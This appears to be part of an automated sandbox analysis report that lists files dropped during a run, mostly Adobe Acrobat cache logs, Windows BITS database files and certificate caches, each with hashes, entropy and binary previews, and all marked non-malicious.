SHA-512:	5E14B9292922E4FD049827002140166F5CEFA359653D94F801FFD1B600841BEF791A1909761F98F9DB76F15B68CE6FF5A8572A4E0B3D35DBEA6B1D200E8863DA
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x3e74bf09, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7880466439695436
Encrypted:	false
SSDEEP:	1536:/SB2ESB2SSjlK/lv4T9DY1k0aXjJ8VQVYkr3g16iq2UPkLk+kYv/gKr51KrgzAkv:/azaPv4V4fXq2UaB
MD5:	4AEE01EAD4B8F110374A2B1373C72E31
SHA1:	581E5FB68FF26B37B2E454C100655B17CFFC33E6
SHA-256:	FD48815A857DC64A16B8B4BA5F77A3C3B55806E67FD9C2D493825B5FB302821A
SHA-512:	4C174155C2FAAA30E3A2C05B985703F29292685240F570345AAE5769479F240E6EC6A8F19B6861A8B5490114553140029265FC96AF4068DAFDDEBD41B95B8B26
Malicious:	false
Preview:	>t..... ...............X\...;...{......................X............{.......}7.h...........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......12...{...............................................................................................................................................................................................2...{...........................................}.2.................,Z!.....}u..........................#......h.......................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08114505847511169
Encrypted:	false
SSDEEP:	3:pjkyYecxmXlVG0+q2Iqe8l6RWallNTt/4ll/Q6beV/:iyzYUGE8l6VHtc6V
MD5:	060021BC87B4432C67DB2C6D9CFD16D2
SHA1:	2CFF53E8627AC25FD91AEB258D84A87FD4F803A2
SHA-256:	42A5E4E9A3316ACF149492E97C2501ABA3C36D582E12F091D75177CA0E37B799
SHA-512:	E21A850ADF387C07B508801399B7712708FD0D832F1C70FDE278996B13C6039827382093F97DF768742F833C14FA02DEB27DD226815ED12E241A7149F2D8CC68
Malicious:	false
Preview:	4........................................;...{.......}u......{...............{.......{....:......{..................,Z!.....}u.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.158440004415217
Encrypted:	false
SSDEEP:	6:iO4qNbq2PFi2nKuAl9OmbnIFUtSqNq5ZZmwsqNq5zkwOFi2nKuAl9OmbjLJ:7zvdZHAahFUtQZ/ez5wZHAaSJ
MD5:	A393CAD5351CFA7734D3E004A030BADB
SHA1:	757DE0D5D7FFD498631EFE45CB5203A2F69E7569
SHA-256:	A429910B150E4280B587FA3EDDD95A14FDACE93DE05A76C82F92A84FCD5317DF
SHA-512:	90B988A5324C16982AC645D9169436B3131DDF0812A111CAC22A1B441A0C649B20C069C946EBBD02C954A09E5D3B049FBC6ACB56BF2E90294CAB7C4D80606A64
Malicious:	false
Preview:	2025/01/10-23:23:13.878 1ad0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:23:13.885 1ad0 Recovering log #3.2025/01/10-23:23:13.885 1ad0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.158440004415217
Encrypted:	false
SSDEEP:	6:iO4qNbq2PFi2nKuAl9OmbnIFUtSqNq5ZZmwsqNq5zkwOFi2nKuAl9OmbjLJ:7zvdZHAahFUtQZ/ez5wZHAaSJ
MD5:	A393CAD5351CFA7734D3E004A030BADB
SHA1:	757DE0D5D7FFD498631EFE45CB5203A2F69E7569
SHA-256:	A429910B150E4280B587FA3EDDD95A14FDACE93DE05A76C82F92A84FCD5317DF
SHA-512:	90B988A5324C16982AC645D9169436B3131DDF0812A111CAC22A1B441A0C649B20C069C946EBBD02C954A09E5D3B049FBC6ACB56BF2E90294CAB7C4D80606A64
Malicious:	false
Preview:	2025/01/10-23:23:13.878 1ad0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:23:13.885 1ad0 Recovering log #3.2025/01/10-23:23:13.885 1ad0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.163640937327265
Encrypted:	false
SSDEEP:	6:iO4qnN+q2PFi2nKuAl9Ombzo2jMGIFUtSqfZmwsqfVkwOFi2nKuAl9Ombzo2jMmd:71IvdZHAa8uFUtD/X5wZHAa8RJ
MD5:	243D0E57951CEE828DBF15000D5CD46D
SHA1:	7303D2C1C20DBB75177E7B47F36292FAFC0F954C
SHA-256:	858228DF2E0DFCBC9F09DE2A8544310B6FA43876BA2E98CAAFB9B3CF07560A17
SHA-512:	9881F53D9E4FCE4600E909669541FFB774D63348F6961025B634D5A6106BB3E082ADC37472EFF24F77122033573D064AF00656AD0C7CA6B8CD4C2EB91C457F2E
Malicious:	false
Preview:	2025/01/10-23:23:14.081 4d8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:23:14.083 4d8 Recovering log #3.2025/01/10-23:23:14.083 4d8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.163640937327265
Encrypted:	false
SSDEEP:	6:iO4qnN+q2PFi2nKuAl9Ombzo2jMGIFUtSqfZmwsqfVkwOFi2nKuAl9Ombzo2jMmd:71IvdZHAa8uFUtD/X5wZHAa8RJ
MD5:	243D0E57951CEE828DBF15000D5CD46D
SHA1:	7303D2C1C20DBB75177E7B47F36292FAFC0F954C
SHA-256:	858228DF2E0DFCBC9F09DE2A8544310B6FA43876BA2E98CAAFB9B3CF07560A17
SHA-512:	9881F53D9E4FCE4600E909669541FFB774D63348F6961025B634D5A6106BB3E082ADC37472EFF24F77122033573D064AF00656AD0C7CA6B8CD4C2EB91C457F2E
Malicious:	false
Preview:	2025/01/10-23:23:14.081 4d8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:23:14.083 4d8 Recovering log #3.2025/01/10-23:23:14.083 4d8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3c042a21-4f80-4ad2-8bba-1eb0e51b7c96.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.97136320450929
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqt0sBdOg2HbZcaq3QYiubpP7E4T3y:Y2sRdsydMHbg3QYhbd7nby
MD5:	4A22BA2A2C19ECCA6570BBA562F213AD
SHA1:	AADC4C1135D797BAC6E973ADEE056317A5128053
SHA-256:	9DC11055B7701E02A5A1FF2E03DEBD24D2FC0880DC719ED14E1DEC0D59921544
SHA-512:	B6F61F89E75D0DAE0D1101E00A0988897E2CA0E593834DC8B10301FEAE37770D6005EA1DB762C6827FB12C138339D1D6A6BCDE5322DEE93AD2A9ACF1AD522680
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381129405749959","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130711},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.97136320450929
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqt0sBdOg2HbZcaq3QYiubpP7E4T3y:Y2sRdsydMHbg3QYhbd7nby
MD5:	4A22BA2A2C19ECCA6570BBA562F213AD
SHA1:	AADC4C1135D797BAC6E973ADEE056317A5128053
SHA-256:	9DC11055B7701E02A5A1FF2E03DEBD24D2FC0880DC719ED14E1DEC0D59921544
SHA-512:	B6F61F89E75D0DAE0D1101E00A0988897E2CA0E593834DC8B10301FEAE37770D6005EA1DB762C6827FB12C138339D1D6A6BCDE5322DEE93AD2A9ACF1AD522680
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381129405749959","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130711},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.10","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2288721634363196
Encrypted:	false
SSDEEP:	96:wshFT0h7cA4YC2EVPCqY35NEmNOYcGPtqKYSEVz6gFZ:wshFT0h7cZb2EVKZPEANcGIK5EVzZFZ
MD5:	8328D841C42458415FFFAA04D2B857E6
SHA1:	2EC472EFBC4A0433722F730CD16513EAC5A219BD
SHA-256:	390A06EC9EE6C466102317AE7AB45B347DF5ABC681FE89917898E2DC76B56749
SHA-512:	33F50E3090A67B99A440A0B5150B492C959DD1A29FB512029B0FED8BF09756565BDD25E312C5899BD8D1052A54625906A66E7776044CBD46B66C84EF4B0D144E
Malicious:	false
Preview:	*...#................version.1..namespace-#..o................next-map-id.1.Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/.0..QRr................next-map-id.2.Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/.2%e.o................next-map-id.4.Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/.3nU..^...............Pnamespace-03b00fbd_48ad_47b1_8693_0d5562b6d54b-https://rna-resource.acrobat.com/"..C^...............Pnamespace-285943ad_4ed5_46fb_8713_f1874054bf05-https://rna-resource.acrobat.com/....a...............Snamespace-9efb0a2e_bf8a_4008_b12a_325311a763d0-https://rna-v2-resource.acrobat.com/.+;\|a...............Snamespace-493a2582_fd2f_403f_a0b6_bf623eaab337-https://rna-v2-resource.acrobat.com/....o................next-map-id.5.Pnamespace-10b75d2f_11e7_4fa3_ae23_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.2217721122049285
Encrypted:	false
SSDEEP:	6:iO4q3jrL+q2PFi2nKuAl9OmbzNMxIFUtSq3h3XZmwsq3SVkwOFi2nKuAl9OmbzNq:7tPyvdZHAa8jFUt7h3X/Rq5wZHAa84J
MD5:	C7A74389AD88D86845965355444A63FE
SHA1:	21864E6537DD3D832F1A92ABA1EE35D1A7E7EA94
SHA-256:	8BA0AEB51D577177CAAAAE497AD2E87C421D82685CB57E487A3849A4EDA02C22
SHA-512:	22CC0F5E0C14D6D37D817B468FF0AD22286B48D67205FA12B996AA03D038B4661F982DD873F33CC86717B5CFC2B908228355731CC4D00CD897CFD70C7180A98C
Malicious:	false
Preview:	2025/01/10-23:23:14.375 4d8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:23:14.377 4d8 Recovering log #3.2025/01/10-23:23:14.378 4d8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.2217721122049285
Encrypted:	false
SSDEEP:	6:iO4q3jrL+q2PFi2nKuAl9OmbzNMxIFUtSq3h3XZmwsq3SVkwOFi2nKuAl9OmbzNq:7tPyvdZHAa8jFUt7h3X/Rq5wZHAa84J
MD5:	C7A74389AD88D86845965355444A63FE
SHA1:	21864E6537DD3D832F1A92ABA1EE35D1A7E7EA94
SHA-256:	8BA0AEB51D577177CAAAAE497AD2E87C421D82685CB57E487A3849A4EDA02C22
SHA-512:	22CC0F5E0C14D6D37D817B468FF0AD22286B48D67205FA12B996AA03D038B4661F982DD873F33CC86717B5CFC2B908228355731CC4D00CD897CFD70C7180A98C
Malicious:	false
Preview:	2025/01/10-23:23:14.375 4d8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:23:14.377 4d8 Recovering log #3.2025/01/10-23:23:14.378 4d8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438847108414847
Encrypted:	false
SSDEEP:	384:SeGTci5GTTttniBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmt:j3urVgazUpUTTGt
MD5:	5DE23E8F0C431AD230191619687C9D4E
SHA1:	133A52C6D367287EFAFF39537500F2B01C1593D4
SHA-256:	777FEF6A2B4B5F4FACAB2C47B8E16C2E6A590173BAB7B126D5EA5C88AF394F1D
SHA-512:	99A2CCB87FA773FA545A3F213F83E84EDC9299209F5F4DBFC8DDA7F02332E7072AFF74CFAA2590A12C9A8A2FC615E2C0D7C2A196A06188D2B3682ED7B95E4547
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2158219506776895
Encrypted:	false
SSDEEP:	48:7MClOW4pqvmFTIF3XmHjBoGGR+jMz+LhI:7nlO579IVXEBodRBkS
MD5:	D5151FA3D7190798FCB5C9EDA540E245
SHA1:	8F7FF3B84C001F9FC87F0ADAB8306148813FFB40
SHA-256:	0BC000368E183D5CE95A1133CF4D520D6112F54B0C31387DB05E571E65AE70CD
SHA-512:	6851B09FD28C59B164F5C32346251E0234A66B7F4A3345BDBDB97AC8562FB170145266BB69C92BC14BED90F21186E865DBE7F24E97106A902C7279777B0209A5
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklpF6pl/tfllXlE/HT8kpll7llXNNX8RolJuRdxLlGB9lQRYwpDdt:kKRL/eT8G/7VNMa8RdWBwRd
MD5:	03C8F320181E3952FADF95C239A2257F
SHA1:	CE86356301A01762168D8361365F4D28DE1BD6ED
SHA-256:	B5CE00E0F7E146C977E237C5F0BB2EFE6DD561BE1FB827CCF9C38AAFFA638CE0
SHA-512:	96DD63857BE5F82FDA71E7CD7A10668CAA404D37699AD58D5A4C46A98F660E437BFF9D9D19314FCE03B189B10A14FC8556C0EBEDEE2244D0DAE1219C14A22311
Malicious:	false
Preview:	p...... ........Z...c..(....................................................... ..........W.....t..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.133081597444441
Encrypted:	false
SSDEEP:	6:kK4ZL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ciDnLNkPlE99SNxAhUe/3
MD5:	486749376B1CE6F35B30A5E3102DF220
SHA1:	54E8C48C0377C27ED346271A8635451C941C4A6C
SHA-256:	C5481BE06E7794C1D9A71B9704DBBB25E4AAB324D67584AD80BBE5DA6A41E2E1
SHA-512:	4A33DDCD6DBFFB53FCD1C7B5421DA6619676CB56D44EDC0EA246B7272990347B20F38C631CC420D8D528653AC2FCC4FC89676D992FE4F6C6DE021059CA3B5799
Malicious:	false
Preview:	p...... ........Y!@..c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8176

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
